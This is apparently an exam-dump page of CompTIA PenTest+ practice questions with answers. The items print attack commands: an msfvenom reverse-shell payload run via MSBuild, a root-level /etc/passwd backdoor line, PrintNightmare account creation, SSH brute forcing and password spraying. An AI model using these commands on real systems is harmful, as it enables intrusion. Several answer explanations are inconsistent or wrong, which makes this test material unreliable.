UPDATED [2026] Pass CompTIA PT0-003 Exam in First Attempt Guaranteed
Pass PT0-003 Exam Latest Practice Questions
NEW QUESTION # 168
During an assessment, a penetration tester obtains access to a Microsoft SQL server using sqlmap and runs the following command:
sql> xp_cmdshell whoami /all
Which of the following is the tester trying to do?
- A. List database tables
- B. Enumerate privileges
- C. Display available SQL commands
- D. Show logged-in database users
Answer: B
Explanation:
The command xp_cmdshell executes system-level commands from SQL Server. The command whoami /all is used to enumerate user privileges, group memberships, and security contexts on Windows systems.
From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 8 - Post-Exploitation Techniques)
:
"Using xp_cmdshell and system commands like whoami /all allows testers to identify the privilege level of the database user and system access level." Reference: Chapter 8, CompTIA PenTest+ PT0-003 Official Study Guide
NEW QUESTION # 169
A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.
INSTRUCTIONS
Select the tool the penetration tester should use for further investigation.
Select the two entries in the robots.txt file that the penetration tester should recommend for removal.
Answer:
Explanation:
Explanation:
The tool that the penetration tester should use for further investigation is WPScan. This is because WPScan is a WordPress vulnerability scanner that can detect common WordPress security issues, such as weak passwords, outdated plugins, and misconfigured settings. WPScan can also enumerate WordPress users, themes, and plugins from the robots.txt file.
The two entries in the robots.txt file that the penetration tester should recommend for removal are:
* Allow: /admin
* Allow: /wp-admin
These entries expose the WordPress admin panel, which can be a target for brute-force attacks, SQL injection, and other exploits. Removing these entries can help prevent unauthorized access to the web application's backend. Alternatively, the penetration tester can suggest renaming the admin panel to a less obvious name, or adding authentication methods such as two-factor authentication or IP whitelisting.
NEW QUESTION # 170
A penetration tester gains low-privilege shell access to a host and discovers a world-writable script that is run regularly as root. The tester runs the following command:
openssl passwd password
$1$OjxLvZ85$Fdr51vn/Z4zXWsQR/Xrj.
The tester then adds the following line to the world-writable script:
echo 'root2:$1$0jxLvZ85$Fdr51vn/Z4zXWsQR/Xrj .: 1001:1001:,,,:/root:/bin/bash">> /etc/passwd Which of the following should the penetration tester do to enable this exploit to work correctly?
- A. Use only a single redirect to /etc/password.
- B. Change the 1001 entries to 0.
- C. Log in to the host using SSH.
- D. Generate the password using md5sum.
Answer: B
Explanation:
Comprehensive and Detailed
The attacker's goal is to create an account entry in /etc/passwd that grants root privileges. In Unix/Linux, the UID and GID determine privileges; UID 0 is the root account. The line the tester appended sets UID/GID to 1001:1001, which does not grant root privileges. Changing those numeric fields to 0:0 (UID 0, GID 0) will cause the new account to be treated as root when the entry is parsed by the system, enabling a root-level login with the supplied hash.
Additional correctness notes (non-exploitating guidance):
The appended line must match the exact /etc/passwd format (no stray spaces or malformed punctuation).
The password hash must match the system's expected scheme; openssl passwd produced an MD5-style hash ($1$...) - ensure the hash is correctly copied (case/character fidelity matters).
Modifying /etc/passwd in this way is destructive and illegal without explicit authorization; in an authorized testing engagement, these details are taught to illustrate how misconfigurations lead to privilege escalation.
Why other choices are incorrect:
A: The redirect >> /etc/passwd (append) is appropriate for adding a line; switching to a single redirect is not the central issue.
B: md5sum would produce a raw MD5 digest, not the salted hash format expected by /etc/shadow//etc/passwd entries.
C: Logging in via SSH does not enable the exploit; creating the user with UID 0 is the required change.
CompTIA PT0-003 Mapping:
Domain 3.0 Attacks and Exploits - local privilege escalation techniques and understanding of OS account mechanics.
NEW QUESTION # 171
During an internal penetration test, a tester compromises a Windows OS-based endpoint and bypasses the defensive mechanisms. The tester also discovers that the endpoint is part of an Active Directory (AD) local domain.
The tester's main goal is to leverage credentials to authenticate into other systems within the Active Directory environment.
Which of the following steps should the tester take to complete the goal?
- A. Use Mimikatz to collect information about the accounts and try to authenticate in other systems
- B. Use Hashcat to crack a password for the local user on the compromised endpoint
- C. Use Evil-WinRM to access other systems in the network within the endpoint credentials
- D. Use Metasploit to create and execute a payload and try to upload the payload into other systems
Answer: A
Explanation:
Since the tester has compromised a Windows machine and bypassed security, the best next step is to extract credentials from memory to move laterally within Active Directory.
* Option A (Mimikatz) #: Correct.
* Mimikatz extracts hashed credentials, plaintext passwords, and Kerberos tickets from memory.
* Attackers use Pass-the-Hash (PtH) or Pass-the-Ticket (PtT) to authenticate on other systems without cracking passwords.
* Option B (Hashcat) #: Cracking passwords takes time and is not necessary if Mimikatz provides reusable credentials.
* Option C (Evil-WinRM) #: Evil-WinRM is useful for remotely executing commands, but without valid credentials, it won't work.
* Option D (Metasploit) #: Metasploit payloads may be useful for initial exploitation, but credential dumping is a better next step.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Credential Dumping & Lateral Movement
NEW QUESTION # 172
A penetration tester completes a scan and sees the following output on a host:
bash
Copy code
Nmap scan report for victim (10.10.10.10)
Host is up (0.0001s latency)
PORT STATE SERVICE
161/udp open|filtered snmp
445/tcp open microsoft-ds
3389/tcp open microsoft-ds
Running Microsoft Windows 7
OS CPE: cpe:/o:microsoft:windows_7_sp0
The tester wants to obtain shell access. Which of the following related exploits should the tester try first?
- A. exploit/windows/smb/psexec
- B. auxiliary/scanner/snmp/snmp_login
- C. exploit/windows/smb/ms08_067_netapi
- D. exploit/windows/smb/ms17_010_eternalblue
Answer: D
Explanation:
The ms17_010_eternalblue exploit is the most appropriate choice based on the scenario.
* Why MS17-010 EternalBlue?
* EternalBlue is a critical vulnerability in SMBv1 (port 445) affecting older versions of Windows, including Windows 7.
* The exploit can be used to execute arbitrary code remotely, providing shell access to the target system.
* Other Options:
* A (psexec): This exploit is a post-exploitation tool that requires valid credentials to execute commands remotely.
* B (ms08_067_netapi): A vulnerability targeting older Windows systems (e.g., Windows XP). It is unlikely to work on Windows 7.
* D (snmp_login): This is an auxiliary module for enumerating SNMP, not gaining shell access.
CompTIA Pentest+ References:
* Domain 2.0 (Information Gathering and Vulnerability Identification)
* Domain 3.0 (Attacks and Exploits)
NEW QUESTION # 173
A penetration tester wants to find the password for any account in the domain without locking any of the accounts. Which of the following commands should the tester use?
- A. cme smb 192.168.0.0/24 -u /userList.txt -p /passwordList.txt
- B. cme smb 192.168.0.0/24 -u /userList.txt -p Summer123
- C. enum4linux -u userl -p /passwordList.txt 192.168.0.1
- D. enum4linux -u userl -p Passwordl 192.168.0.1
Answer: A
Explanation:
The cme smb 192.168.0.0/24 -u /userList.txt -p /passwordList.txt command is used to perform SMB enumeration on the 192.168.0.0/24 subnet using a list of usernames and passwords. The -u option specifies the file containing the usernames, and the -p option specifies the file containing the passwords1. This command allows the tester to attempt to authenticate with multiple accounts without locking any of them out.
References: SMB Command
NEW QUESTION # 174
A penetration tester plans to conduct reconnaissance during an engagement using readily available resources.
Which of the following resources would most likely identify hardware and software being utilized by the client?
- A. Job boards
- B. Cached pages
- C. Protocol scanning
- D. Cryptographic flaws
Answer: A
Explanation:
To conduct reconnaissance and identify hardware and software used by a client, job boards are an effective resource. Companies often list the technologies they use in job postings to attract qualified candidates. These listings can provide valuable insights into the specific hardware and software platforms the client is utilizing.
Reconnaissance:
This is the first phase in penetration testing, involving gathering as much information as possible about the target.
Reconnaissance can be divided into two types: passive and active. Job boards fall under passive reconnaissance, where the tester gathers information without directly interacting with the target systems.
Job Boards:
Job postings often include detailed descriptions of the technologies and tools used within the company.
For example, a job posting for a network administrator might list specific brands of hardware (like Cisco routers) or software (like VMware).
Examples of Job Boards:
Websites like LinkedIn, Indeed, Glassdoor, and company career pages can be used to find relevant job postings.
These postings might mention operating systems (Windows, Linux), development frameworks (Spring, .
NET), databases (Oracle, MySQL), and more.
Pentest References:
OSINT (Open Source Intelligence): Using publicly available sources to gather information about a target.
Job boards are a key source of OSINT, providing indirect access to the internal technologies of a company.
This information can be used to tailor subsequent phases of the penetration test, such as vulnerability scanning and exploitation, to the specific technologies identified.
By examining job boards, a penetration tester can gain insights into the hardware and software environments of the target, making this a valuable reconnaissance tool.
NEW QUESTION # 175
An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?
- A. nmap -oG 192.168.0.1/24
- B. nmap -sS 192.168.0.1/24
- C. nmap 192.168.0.1/24
- D. nmap -sA 192.168.0.1/24
Answer: D
Explanation:
https://nmap.org/book/scan-methods-ack-scan.html
NEW QUESTION # 176
During an assessment, a penetration tester manages to get RDP access via a low-privilege user. The tester attempts to escalate privileges by running the following commands:
Import-Module .\PrintNightmare.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print" The tester attempts to further enumerate the host with the new administrative privileges by using the runas command. However, the access level is still low. Which of the following actions should the penetration tester take next?
- A. Attempt to add another user.
- B. Add a malicious printer driver.
- C. Bypass the execution policy.
- D. Log off and log on with "hacker".
Answer: D
Explanation:
In the scenario where a penetration tester uses the PrintNightmare exploit to create a new user with administrative privileges but still experiences low-privilege access, the tester should log off and log on with the new "hacker" account to escalate privileges correctly.
PrintNightmare Exploit:
PrintNightmare (CVE-2021-34527) is a vulnerability in the Windows Print Spooler service that allows remote code execution and local privilege escalation.
The provided commands are intended to exploit this vulnerability to create a new user with administrative privileges.
Commands Breakdown:
Import-Module .\PrintNightmare.ps1: Loads the PrintNightmare exploit script.
Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print": Executes the exploit, creating a new user "hacker" with administrative privileges.
Issue:
The tester still experiences low privileges despite running the exploit successfully.
This could be due to the current session not reflecting the new privileges.
Solution:
Logging off and logging back on with the new "hacker" account will start a new session with the updated administrative privileges.
This ensures that the new privileges are applied correctly.
Pentest References:
Privilege Escalation: After gaining initial access, escalating privileges is crucial to gain full control over the target system.
Session Management: Understanding how user sessions work and ensuring that new privileges are recognized by starting a new session.
The use of the PrintNightmare exploit highlights a specific technique for privilege escalation within Windows environments.
By logging off and logging on with the new "hacker" account, the penetration tester can ensure the new administrative privileges are fully applied, allowing for further enumeration and exploitation of the target system.
NEW QUESTION # 177
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops. Which of the following technical controls should the tester recommend to reduce the risk of compromise?
- A. Multifactor authentication
- B. System hardening
- C. Network segmentation
- D. Patch management
Answer: B
Explanation:
When a penetration tester identifies several unused services listening on targeted internal laptops, the most appropriate recommendation to reduce the risk of compromise is system hardening. Here's why:
System Hardening:
Purpose: System hardening involves securing systems by reducing their surface of vulnerability. This includes disabling unnecessary services, applying security patches, and configuring systems securely.
Impact: By disabling unused services, the attack surface is minimized, reducing the risk of these services being exploited by attackers.
Comparison with Other Controls:
Multifactor Authentication (A): While useful for securing authentication, it does not address the issue of unused services running on the system.
Patch Management (B): Important for addressing known vulnerabilities but not specifically related to disabling unused services.
Network Segmentation (D): Helps in containing breaches but does not directly address the issue of unnecessary services.
System hardening is the most direct control for reducing the risk posed by unused services, making it the best recommendation.
NEW QUESTION # 178
SIMULATION
A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.
Part 1:
Analyze the output and select the command to exploit the vulnerable service.
Part 2:
Analyze the output from each command.
- Select the appropriate set of commands to escalate privileges.
- Identify which remediation steps should be taken.
Answer:
Explanation:
Part 1:
The command that would most likely exploit the services is:
hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
Part 2:
The appropriate set of commands to escalate privileges is:
openssl passwd password
echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
The remediations that should be taken after the successful privilege escalation are:
- Remove the SUID bit from cp.
- Make backup script not world-writable.
NEW QUESTION # 179
A penetration tester completes a scan and sees the following Nmap output on a host:
Nmap scan report for victim (10.10.10.10)
Host is up (0.0001s latency)
PORT STATE SERVICE
161/udp open snmp
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Running Microsoft Windows 7
OS CPE: cpe:/o:microsoft:windows_7::sp0
The tester wants to obtain shell access. Which of the following related exploits should the tester try first?
- A. exploit/windows/smb/psexec
- B. auxiliary/scanner/snmp/snmp_login
- C. exploit/windows/smb/ms08_067_netapi
- D. exploit/windows/smb/ms17_010_eternalblue
Answer: D
NEW QUESTION # 180
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?
- A. Double dash
- B. Comma
- C. Single quote
- D. Semicolon
Answer: C
Explanation:
A single quote (') is a common character used to test for SQL injection vulnerabilities, which occur when user input is directly passed to a database query. A single quote can terminate a string literal and allow an attacker to inject malicious SQL commands. For example, if the search form uses the query SELECT * FROM products WHERE name LIKE '%user_input%', then entering a single quote as user input would result in an error or unexpected behavior
NEW QUESTION # 181
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?
- A. Reach out to the primary point of contact
- B. Call law enforcement officials immediately
- C. Collect the proper evidence and add to the final report
- D. Try to take down the attackers
Answer: A
Explanation:
The penetration tester should reach out to the primary point of contact as soon as possible to inform them of the critical vulnerability and the active exploitation by cybercriminals. This is the most responsible and ethical course of action, as it allows the client to take immediate steps to mitigate the risk and protect their assets. The other options are not appropriate or effective in this situation. Trying to take down the attackers would be illegal and dangerous, as it may escalate the conflict or cause collateral damage. Calling law enforcement officials immediately would be premature and unnecessary, as it may involve disclosing confidential information or violating the scope of the engagement. Collecting the proper evidence and adding to the final report would be too slow and passive, as it would delay the notification and remediation of the vulnerability.
NEW QUESTION # 182
A penetration tester gained a foothold within a network. The penetration tester needs to enumerate all users within the domain. Which of the following is the best way to accomplish this task?
- A. pwd.exe
- B. msconfig.exe
- C. sc.exe
- D. net.exe
Answer: D
Explanation:
Comprehensive and Detailed Explanation From Exact Extract:
net.exe is the classic Windows networking utility that includes commands for enumerating domain resources and accounts from a compromised host where the tester has any authenticated domain context. Typical commands used by penetration testers to enumerate domain users with net.exe include:
* net user /domain - lists domain user accounts (name and some properties).
* net group "Domain Users" /domain - lists members of the Domain Users group.
* net view /domain - lists computers in the domain (useful to find targets for further enumeration).
Why net.exe is the best option here:
* It is installed by default on Windows systems and works with the current authenticated domain credentials (common after gaining a foothold).
* It provides a quick, low-noise way to enumerate user accounts and groups without requiring additional tooling or elevated privileges beyond an authenticated domain user.
* Results can be scripted and parsed for further enumeration and pivoting.
Why the other options are not appropriate:
* A. pwd.exe - Not a standard Windows tool for domain enumeration (and not present by default).
* C. sc.exe - Service Controller tool for managing services; not used to enumerate domain users.
* D. msconfig.exe - System configuration GUI utility for startup/services; not for domain account enumeration.
Related alternatives (contextual, commonly used in pentests):
* dsquery user -limit 0 (on systems with RSAT/AD tools) to query AD directly.
* Get-ADUser -Filter * (PowerShell, requires the ActiveDirectory module and appropriate rights).
* Tools like PowerView (PowerShell) or BloodHound (collection phase) can provide richer AD enumeration, but net.exe is the simplest built-in option to enumerate domain users from an authenticated foothold.
CompTIA PT0-003 Objective Mapping (summary):
* Domain 2.0 Information Gathering and Vulnerability Scanning - enumerate network and Active Directory objects using native tools and scripts (e.g., net.exe for domain user enumeration).
NEW QUESTION # 183
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1
LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?
- A. MSBuild.exe C:\evil.xml
- B. mshta.exe C:\evil.xml
- C. regsvr32 /s /n /u C:\evil.xml
- D. AppInstaller.exe C:\evil.xml
Answer: A
Explanation:
The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
Understanding MSBuild.exe:
Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's commonly used to build .NET applications and can also execute code embedded in project files.
NEW QUESTION # 184
......
CompTIA PT0-003 Exam Syllabus Topics:
| Topic | Details |
|---|---|
| Topic 1 |
|
| Topic 2 |
|
| Topic 3 |
|
| Topic 4 |
|
| Topic 5 |
|
CompTIA PT0-003 Study Guide Archives : https://examsforall.lead2passexam.com/CompTIA/valid-PT0-003-exam-dumps.html